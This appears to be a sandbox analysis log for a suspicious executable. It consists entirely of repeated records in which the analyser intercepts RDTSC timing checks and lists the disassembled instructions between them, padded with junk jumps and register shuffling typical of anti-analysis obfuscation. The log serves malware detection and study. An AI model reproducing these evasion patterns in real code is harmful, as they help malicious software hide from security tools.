Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50003FE second address: 500041B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 500041B second address: 500049A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA47177F557h 0x00000009 sbb cx, F52Eh 0x0000000e jmp 00007FA47177F559h 0x00000013 popfd 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c jmp 00007FA47177F553h 0x00000021 mov edx, dword ptr [ebp+0Ch] 0x00000024 jmp 00007FA47177F556h 0x00000029 mov ecx, dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FA47177F54Ah 0x00000035 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 500049A second address: 500049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 500049E second address: 50004A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50004A4 second address: 50004AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50205CE second address: 50205DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50205DD second address: 50205E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50205E2 second address: 50206C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FA47177F54Ch 0x0000000f xor cx, 7D98h 0x00000014 jmp 00007FA47177F54Bh 0x00000019 popfd 0x0000001a mov ax, B74Fh 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007FA47177F555h 0x00000025 xchg eax, ebp 0x00000026 jmp 00007FA47177F54Eh 0x0000002b mov ebp, esp 0x0000002d jmp 00007FA47177F550h 0x00000032 xchg eax, ecx 0x00000033 jmp 00007FA47177F550h 0x00000038 push eax 0x00000039 jmp 00007FA47177F54Bh 0x0000003e xchg eax, ecx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FA47177F554h 0x00000046 adc cx, 13E8h 0x0000004b jmp 00007FA47177F54Bh 0x00000050 popfd 0x00000051 pushfd 0x00000052 jmp 00007FA47177F558h 0x00000057 sbb cx, A648h 0x0000005c jmp 00007FA47177F54Bh 0x00000061 popfd 0x00000062 popad 0x00000063 xchg eax, esi 0x00000064 pushad 0x00000065 mov ebx, eax 0x00000067 mov ah, 41h 0x00000069 popad 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50206C2 second address: 50206C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50206C7 second address: 50206CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50206CD second address: 50206D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50206D1 second address: 50206D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50206D5 second address: 50206F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA470BCBE72h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50207C6 second address: 50207E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50207E3 second address: 5020819 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA470BCBE77h 0x00000008 pop ecx 0x00000009 mov dx, 2FECh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 cmp dword ptr [ebp-04h], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA470BCBE6Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020819 second address: 502082C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov bx, 2938h 0x0000000f push eax 0x00000010 push edx 0x00000011 mov eax, edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 502085E second address: 5020864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020864 second address: 502086A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 502086A second address: 502086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 502086E second address: 5020872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020872 second address: 50208AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA470BCBE72h 0x00000011 xor ch, 00000028h 0x00000014 jmp 00007FA470BCBE6Bh 0x00000019 popfd 0x0000001a mov cx, BA1Fh 0x0000001e popad 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50208AB second address: 50208AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50208AF second address: 50208C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50208C6 second address: 50208DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA47177F554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50208DE second address: 50208E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50208E2 second address: 50208F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50208F1 second address: 5020909 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5020909 second address: 502091B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA47177F54Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 502091B second address: 5010269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 jmp 00007FA470BCBE62h 0x00000014 xor ebx, ebx 0x00000016 test al, 01h 0x00000018 jne 00007FA470BCBE67h 0x0000001a sub esp, 04h 0x0000001d mov dword ptr [esp], 0000000Dh 0x00000024 call 00007FA474BC967Bh 0x00000029 mov edi, edi 0x0000002b pushad 0x0000002c movzx eax, dx 0x0000002f pushfd 0x00000030 jmp 00007FA470BCBE79h 0x00000035 sub esi, 598C18F6h 0x0000003b jmp 00007FA470BCBE71h 0x00000040 popfd 0x00000041 popad 0x00000042 xchg eax, ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FA470BCBE6Dh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010269 second address: 501026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501026F second address: 5010273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501040E second address: 501046C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007FA47177F54Dh 0x0000000b and cx, 3AD6h 0x00000010 jmp 00007FA47177F551h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007FA47177F7A1h 0x0000001f pushad 0x00000020 mov edx, esi 0x00000022 push esi 0x00000023 mov cx, bx 0x00000026 pop edx 0x00000027 popad 0x00000028 lea ecx, dword ptr [ebp-14h] 0x0000002b jmp 00007FA47177F54Eh 0x00000030 mov dword ptr [ebp-14h], edi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FA47177F54Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501046C second address: 5010472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50104AE second address: 50104B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50104B5 second address: 50104E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov dx, ax 0x0000000e mov bx, cx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA470BCBE72h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010534 second address: 5010543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010543 second address: 5010549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010549 second address: 501054D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501054D second address: 501055D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501055D second address: 5010561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010561 second address: 5010567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010567 second address: 501056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501056D second address: 5010645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FA4E17D9D7Dh 0x0000000e pushad 0x0000000f jmp 00007FA470BCBE72h 0x00000014 popad 0x00000015 js 00007FA470BCBF6Dh 0x0000001b pushad 0x0000001c mov esi, 41C9090Dh 0x00000021 pushfd 0x00000022 jmp 00007FA470BCBE6Ah 0x00000027 xor cx, 1B28h 0x0000002c jmp 00007FA470BCBE6Bh 0x00000031 popfd 0x00000032 popad 0x00000033 cmp dword ptr [ebp-14h], edi 0x00000036 pushad 0x00000037 mov bl, ch 0x00000039 pushfd 0x0000003a jmp 00007FA470BCBE71h 0x0000003f or al, 00000046h 0x00000042 jmp 00007FA470BCBE71h 0x00000047 popfd 0x00000048 popad 0x00000049 jne 00007FA4E17D9D1Bh 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007FA470BCBE73h 0x00000058 adc si, 4A7Eh 0x0000005d jmp 00007FA470BCBE79h 0x00000062 popfd 0x00000063 pushfd 0x00000064 jmp 00007FA470BCBE70h 0x00000069 add si, 4D78h 0x0000006e jmp 00007FA470BCBE6Bh 0x00000073 popfd 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010645 second address: 50106B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA47177F54Fh 0x00000009 xor cx, A53Eh 0x0000000e jmp 00007FA47177F559h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FA47177F550h 0x0000001a or si, 3238h 0x0000001f jmp 00007FA47177F54Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov ebx, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c movzx ecx, di 0x0000002f pushad 0x00000030 mov bl, AAh 0x00000032 mov si, 535Fh 0x00000036 popad 0x00000037 popad 0x00000038 lea eax, dword ptr [ebp-2Ch] 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e mov al, F7h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50106B4 second address: 50106F5 instructions: 0x00000000 rdtsc 0x00000002 mov si, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movsx ebx, si 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FA470BCBE79h 0x00000015 and ecx, 7268D4E6h 0x0000001b jmp 00007FA470BCBE71h 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50106F5 second address: 5010709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA47177F54Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010709 second address: 501070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501070F second address: 5010729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010729 second address: 501072D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501072D second address: 5010731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010731 second address: 5010737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010737 second address: 5010767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F552h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA47177F557h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010767 second address: 501076D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501076D second address: 5010771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010771 second address: 5010784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, 278Eh 0x00000010 mov eax, ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010784 second address: 5010795 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov bl, al 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010795 second address: 5010799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010799 second address: 501079F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501079F second address: 50107FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA470BCBE78h 0x00000013 adc eax, 4FF46C68h 0x00000019 jmp 00007FA470BCBE6Bh 0x0000001e popfd 0x0000001f jmp 00007FA470BCBE78h 0x00000024 popad 0x00000025 mov dword ptr [esp], ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov bx, 1EE0h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010055 second address: 5010079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010079 second address: 501007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501007D second address: 5010083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010083 second address: 5010098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA470BCBE71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010098 second address: 501009C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 501009C second address: 50100BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA470BCBE73h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50100BA second address: 50100D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA47177F554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50100D2 second address: 50100D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50100D6 second address: 50100EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA47177F54Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 50101E5 second address: 501020A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA470BCBE6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010B68 second address: 5010B9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA47177F54Fh 0x00000009 and ecx, 7B38934Eh 0x0000000f jmp 00007FA47177F559h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010B9D second address: 5010BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FA470BCBE77h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 movsx edx, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010BC6 second address: 5010BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010BCC second address: 5010BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010BD0 second address: 5010C37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007FA47177F557h 0x00000010 pop edi 0x00000011 push esi 0x00000012 call 00007FA47177F54Bh 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 popad 0x0000001a cmp dword ptr [75C7459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov dx, 6764h 0x00000028 pushfd 0x00000029 jmp 00007FA47177F54Dh 0x0000002e or ecx, 5ED703A6h 0x00000034 jmp 00007FA47177F551h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010C37 second address: 5010C61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA4E17C9C19h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA470BCBE6Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010C61 second address: 5010C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA47177F54Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010C98 second address: 5010C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010C9C second address: 5010CB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F558h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010CB8 second address: 5010CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 5010DA6 second address: 5010DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
